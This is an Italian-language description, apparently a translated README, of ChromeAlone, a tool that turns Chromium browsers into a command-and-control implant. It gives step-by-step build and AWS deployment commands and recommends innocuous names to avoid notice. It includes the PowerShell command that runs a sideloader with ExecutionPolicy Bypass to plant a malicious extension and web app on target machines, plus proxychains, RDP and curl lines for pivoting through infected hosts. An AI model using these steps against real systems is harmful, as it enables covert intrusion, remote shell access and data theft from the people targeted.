
Uno strumento per trasformare i browser Chromium in un C2 Implant

ChromeAlone è un implant per browser che può essere utilizzato al posto degli implant convenzionali come Cobalt Strike o Meterpreter. Questo repository fornisce un semplice processo di build che genera una console di gestione, distribuisce l'infrastruttura e crea uno script sideloader PowerShell da eseguire sui target.
Dopo l'installazione, ogni implant ChromeAlone fornisce meccanismi per:
Per prima cosa crea il container docker: docker build -t chromealone .
Attualmente sono supportate due modalità di distribuzione. Nota che in entrambi i casi, dovresti eseguire docker dalla directory di base del repository git di ChromeAlone.
Per questo avrai bisogno di un account AWS configurato con le tue credenziali salvate in ~/.aws/credentials. Assicurati che il tuo account abbia i permessi di scrittura completi su EC2 oltre ai permessi Route53. Inoltre, si presume che il tuo Route53 sia stato configurato con almeno 1 zona di hosting contenente un dominio registrato. Se queste condizioni sono soddisfatte, puoi eseguire questo comando.
docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --domain=sendmea.click --appname=UpdateService --region=us-west-2
Il valore domain deve corrispondere a un dominio sotto il controllo della tua configurazione Route53. appname può essere qualsiasi valore tu voglia e verrà utilizzato per nominare diverse chiavi di registro e cartelle su disco durante la distribuzione. Si consiglia di usare un nome abbastanza innocuo come UpdateService o qualcosa di altrettanto innocente. Nota che region è opzionale e, se non specificata, verrà impostata su us-east-2 di default.
Questo distribuirà il server relay BATTLEPLAN su AWS e genererà i seguenti artefatti:
output/client - La webapp di controllo per gestire le tue installazioni ChromeAlone.
output/sideloader.ps1 - Lo script di installazione da eseguire sui target per infettare la loro istanza locale del browser. NOTA: ci sarà anche un file iwa-sideloader.ps1 per caricare SOLO la Isolated Web App, e
extension-sideloader.ps1 per caricare SOLO l'estensione del browser.
output/extension - L'estensione del browser malevola generata.
output/iwa - Il file bundle webapp firmato della Isolated Web App malevola generata.
output/relay-deployment - Gli artefatti Terraform della tua distribuzione AWS, inclusa una chiave SSH per accedere direttamente all'host.
Se hai già distribuito un'istanza, output/relay-deployment/terraform.tfvars conterrà tutte le informazioni necessarie per generare nuovi script sideloader + estensioni malevole. Puoi puntare il file docker di ChromeAlone al file tfvars e questo salterà il passaggio di distribuzione mantenendo i metadati appropriati per gestire le connessioni.
Esegui lo script di build docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --tfvars=/project/path/to/terraform.tfvars --appname=UpdateService e genererà un nuovo sideloader malevolo per la tua distribuzione.
Prendi sideloader.ps1 ed eseguilo sulla tua macchina target Windows 10 o Windows 11 eseguendo powershell.exe ExecutionPolicy Bypass -File .\path\to\sideloader.ps1. Nota che puoi eseguirlo con flag aggiuntive se desideri installare un host NativeMessaging (necessario per eseguire comandi di sistema) o forzare il riavvio di Chrome (necessario se vuoi che la tua estensione venga eseguita immediatamente dopo l'esecuzione di questo script invece di attendere la prossima volta che l'utente apre Chrome). Un esempio di invocazione con entrambe le flag è powershell.exe -ExecutionPolicy Bypass .\sideloader.ps1 -InstallNativeMessagingHost $true -ForceRestart $true. Puoi anche modificare i valori predefiniti all'inizio dello script da false a true se desideri che queste flag vengano usate automaticamente.
Un'esecuzione completa dello script richiederà circa 20-30 secondi.
Una volta caricato ChromeAlone, puoi visualizzare tutti gli host connessi aprendo output/client/index.html. Questa webapp sarà pre-configurata per riconnettersi alla tua istanza relay BATTLEPLAN distribuita. Nota che, per impostazione predefinita, il relay è protetto da firewall per consentire l'accesso di controllo in entrata solo sulle porte 1080-1181 dall'IP che ha distribuito il server. Se desideri modificare questo comportamento, dovrai aggiornare le impostazioni di rete dell'istanza EC2 per includere eventuali macchine aggiuntive.
La maggior parte dei comandi può essere eseguita dalla WebUI, inclusi:
Quick Commands, che richiede la selezione di un agente target nella sezione Execute Command)Captured Data)Execute Command)File Browser)Interactive Shell)L'eccezione principale a questo è il proxying SOCKS. A ogni host infetto viene assegnata una porta SOCKS univoca per il server che può essere vista nella sezione Agent Information, dove ogni agente ha un campo Port. La porta assegnata, se combinata con le credenziali admin salvate in output/client/config.js, può essere utilizzata per configurare un proxy SOCKS specifico per l'host.
Ad esempio, supponiamo di avere un agente con porta 1081, il nostro dominio è chrome.alone, il nostro username admin (è sempre così), e la nostra password è thisisnotarealpassword. Ecco alcuni esempi di utilizzo:
proxychains -q socks5 admin:[email protected]:1081 curl http://ifconfig.me
xfreerdp /cert:ignore /v:<target RDP host> /u:<target RDP username> /proxy:socks5://admin:[email protected]:1081
curl -x socks5h://chrome.alone:1081 -u "admin:thisisnotarealpassword" http://ifconfig.me
Il repository ChromeAlone è suddiviso in componenti, molti dei quali potrebbero essere utilizzati singolarmente come parte di un assessment, ma che insieme rappresentano l'intera toolchain di implant per il browser Chromium.